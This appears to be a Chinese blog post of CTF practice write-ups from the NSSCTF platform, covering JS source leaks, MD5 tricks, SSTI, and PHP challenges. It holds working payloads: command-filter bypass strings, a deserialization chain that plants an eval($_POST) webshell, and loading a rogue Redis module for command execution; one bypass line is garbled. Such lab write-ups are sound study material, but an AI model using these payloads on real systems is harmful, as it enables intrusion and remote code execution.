NSSCTF刷题篇1

js类型

[SWPUCTF 2022 新生赛]js_sign

这是一道js信息泄露的题目直接查看源码,有一个main.js文件点击之后,有一串数字和一段base64编码,解开base64编码得到这个编码为敲击码

解码在线网站:Tap Code - 许愿星 (wishingstarmoye.com)

注意要将数字之间的空格去掉

[MoeCTF 2021]2048

查看源代码

找到

复制代码
    req.open("GET","flag.php?score="+obj.score,true);

这行代码然后直接

得到flag

md5类型

[SWPUCTF 2022 新生赛]奇妙的MD5

第一关特殊的字符串ffifdyop

第二第三关数组绕过

ssti模板注入

[安洵杯 2020]Normal SSTI

第一种方法

fenjing一把嗦

执行fenjing命令

python -m fenjing webui

然后填写网址一把嗦

命令执行

[MoeCTF 2021]babyRCE

查看源代码

php 复制代码
 <?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
} 

一个命令执行主要排除了一些打开文件的命令还有空格,这里使用下面的命令进行绕过

php 复制代码
?rce=uniq${IFS}fla?.php
?rce=c\at${IFS}fl\ag.php
?rce=ls|grepIFSf∣xargsIFSf∣xargs{IFS}-iIFScpIFScp{IFS}{}${IFS}t.txt

应该还有很多命令就不在列举,至于flag的名字可以直接ls进行查看,并没有禁止ls

[FSCTF 2023]webshell是啥捏

源码

php 复制代码
 <?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽'])) {
    eval($😭($_GET['👽']));
};

?> 

正常的命令执行

php反序列化

[天翼杯 2021]esay_eval

打开网页查看源代码

php 复制代码
<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
} 

魔法函数都非常简单,在这里反序列化触发逻辑也非常简单 B类当中的__destruct()去触发A类当中的__call最后在绕过__wakeup()这个魔法函数就行了

其中这里过滤了B,A字母,这个正则表达式主要是限制上面的类名的,而在php代码当中类名是不限制大小写的,所以直接大小写绕过即可;

脚本如下

php 复制代码
<?php
class a{
    function __construct(){
        $this->code="eval($_POST[1]);";
    }

}
class b{
    public $a;
}
$c=new b();
$c->a=new a();

echo serialize($c);

//O:1:"b":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:16:"eval($_POST[1]);";}}

在将木马传入之后用蚁剑连接,在蚁剑当中可以打开swp那个文件在文件最后有一些信息

提示打redis,那么就用蚁剑插件登录redis,密码也给你了为you_cannot_guess_it,登录一下

然后在刚才的目录下上传一个exp.so文件,文件地址

https://github.com/Dliv3/redis-rogue-server

上传之后,在打开redis页面

点击那个执行指令

php 复制代码
MODULE LOAD "/var/www/html/exp.so"

执行上面指令然后就可以命令执行了

php 复制代码
system.exec "ls /"

命令执行格式如上

相关推荐
Smile灬凉城6667 分钟前
robots协议
安全·php·robots
忒可君33 分钟前
C# winform 报错:类型“System.Int32”的对象无法转换为类型“System.Int16”。
java·开发语言
GuYue.bing44 分钟前
网络下载ts流媒体
开发语言·python
StringerChen1 小时前
Qt ui提升窗口的头文件找不到
开发语言·qt
数据小爬虫@1 小时前
如何利用PHP爬虫获取速卖通(AliExpress)商品评论
开发语言·爬虫·php
fendouweiqian1 小时前
查看php已安装扩展命令
php
小马哥编程2 小时前
Function.prototype和Object.prototype 的区别
javascript
java1234_小锋2 小时前
MyBatis如何处理延迟加载?
java·开发语言
王小王和他的小伙伴2 小时前
解决 vue3 中 echarts图表在el-dialog中显示问题
javascript·vue.js·echarts
FeboReigns2 小时前
C++简明教程(10)(初识类)
c语言·开发语言·c++